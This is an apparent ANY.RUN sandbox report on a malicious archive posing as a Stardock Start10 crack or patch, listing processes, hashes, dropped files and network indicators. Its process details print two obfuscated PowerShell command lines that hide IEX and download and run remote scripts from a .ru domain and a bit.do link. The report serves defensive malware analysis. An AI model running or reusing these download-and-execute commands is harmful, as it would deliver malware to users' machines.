File name:

stardock.start10.1.55.x64-patch.exe.zip

Full analysis: https://app.any.run/tasks/a1686846-7e3f-4149-9010-e80dc3202027
Verdict: Malicious activity
Analysis date: March 15, 2024, 21:09:42
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

A480E3C8C2B6DEB352AA9C81DAE8F680

SHA1:

6A87336317F82C2D903106832791E2BDB3257655

SHA256:

6C6D44052A1F55EA0D15D854698624C6B94CBFE7FFDBCB559EBE65A5D69403EA

SSDEEP:

12288:gb/S+Q67bH3q+NF0iP622PuHSIRK1+7w/EPseQ+lsYnw:gbK+Q67j6+NaiPaPu9R97w/EPseQ+ls1

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Changes powershell execution policy (Unrestricted)

      • cmd.exe (PID: 1740)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Reads security settings of Internet Explorer

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Reads the Internet Settings

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • cmd.exe (PID: 1740)
      • powershell.exe (PID: 1888)
      • powershell.exe (PID: 240)

    • Executing commands from a ".bat" file

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Starts CMD.EXE for commands execution

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1740)

    • Unusual connection from system programs

      • powershell.exe (PID: 1888)

    • Probably download files using WebClient

      • cmd.exe (PID: 1740)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 1740)

    • The process executes Powershell scripts

      • cmd.exe (PID: 1740)

    • The executable file from the user directory is run by the CMD process

      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 1888)

  • INFO

    • Create files in a temporary directory

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 4008)

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 4008)

    • Checks supported languages

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Manual execution by a user

      • stardock.start10.1.55.x64-patch.exe (PID: 2292)
      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Reads the computer name

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Reads the machine GUID from the registry

      • stardock.start10.1.55.x64-patch.exe (PID: 3912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 819
ZipBitFlag: 0x0001
ZipCompression: Unknown (99)
ZipModifyDate: 2019:06:13 09:30:14
ZipCRC: 0x00000000
ZipCompressedSize: 409734
ZipUncompressedSize: 413184
ZipFileName: stardock.start10.1.55.x64-patch.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
7
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe stardock.start10.1.55.x64-patch.exe no specs stardock.start10.1.55.x64-patch.exe cmd.exe no specs powershell.exe powershell.exe no specs stardock.start10.1.55.x64-patch.exe

Process information

PID
CMD
Path
Indicators
Parent process
240"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $ul=[string][char[]]@(0x49,0x45,0x78) -replace ' ','';sal s $ul;$tys=((New-Object Net.WebClient)).DownloadString('http://dgdfasddfs.ru/pps.ps1');s $tysC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1740C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\88D2.tmp\start2.bat" C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe"C:\Windows\System32\cmd.exe—stardock.start10.1.55.x64-patch.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1888"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $qxe=[string][char[]]@(0x49,0x45,0x78) -replace ' ','';sal s $qxe;$ip=((New-Object Net.WebClient)).DownloadString('http://bit.do/eUUjY');s $ipC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2292"C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe" C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe
c:\windows\system32\ntdll.dll
2440"C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe" C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3912stardock.start10.1.55.x64-patch.exe C:\Users\admin\AppData\Local\Temp\88D2.tmp\stardock.start10.1.55.x64-patch.exe
cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\88d2.tmp\stardock.start10.1.55.x64-patch.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
4008"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
Total events
24 197
Read events
23 980
Write events
209
Delete events
8

Modification events

(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(4008) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
4
Suspicious files
8
Text files
1
Unknown types
5

Dropped files

PID
Process
Filename
Type
2440stardock.start10.1.55.x64-patch.exeC:\Users\admin\AppData\Local\Temp\88D2.tmp\bu.lnklnk
MD5:54EC7A969AA9DFC8024887560FDD16EC
SHA256:93F493DCC985A155A0944AB95918F29EF58CCC5C2BED4C17DFBCC393382197E3
2440stardock.start10.1.55.x64-patch.exeC:\Users\admin\AppData\Local\Temp\88D2.tmp\a1.lnklnk
MD5:4A3B7B128E054BAEA55AC6957ABE74E0
SHA256:4033C36E1FA865375F0478D170ED6DB70824A6663A5B746369892073BDA377C7
2440stardock.start10.1.55.x64-patch.exeC:\Users\admin\AppData\Local\Temp\88D2.tmp\start2.battext
MD5:3A8F9FE87DC064493B6409CB88E89E91
SHA256:8676A201E4B9E484529FEEFDB698F457B4A5EF2AA32464197B7408C3CD0E7503
240powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:087CA2E256E4CDB9E5D9A02C9D1006D1
SHA256:D8AEBCA1FCD8AFDB5458B4EF90948661487EAD89CF65806F40C9D5B67C680F57
4008WinRAR.exeC:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exeexecutable
MD5:1F39A275F002C574F4B3F43537A539F2
SHA256:07793D190DE1E3789F5B8317635E7F3211B7C747A739DFCC93470C3704B3F534
1888powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:6675EDE59684F4A119D2E5DA282AFBE6
SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829
1888powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U8GFZ2X1QRVNNEAMP4P1.tempbinary
MD5:22B5AD4B0C4699F459F6016BDB138C7D
SHA256:A58D69FCF66455CA26F89AA9F2575C0CCC0D88EF4294727BD9CD9E07D7A99FC5
240powershell.exeC:\Users\admin\AppData\Local\Temp\gnqqebzm.uor.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
1888powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fd64ed60dd0dd08b.customDestinations-msbinary
MD5:22B5AD4B0C4699F459F6016BDB138C7D
SHA256:A58D69FCF66455CA26F89AA9F2575C0CCC0D88EF4294727BD9CD9E07D7A99FC5
240powershell.exeC:\Users\admin\AppData\Local\Temp\04bmkmpj.rkd.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
5
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1888
powershell.exe
GET
—
23.21.31.78:80
http://bit.do/eUUjY
unknown
—
—
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
1888
powershell.exe
23.21.31.78:80
bit.do
AMAZON-AES
US
unknown

DNS requests

Domain
IP
Reputation
bit.do
  • 23.21.31.78
unknown
dgdfasddfs.ru
  • —
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
stardock.start10.1.55.x64-patch.exe.zip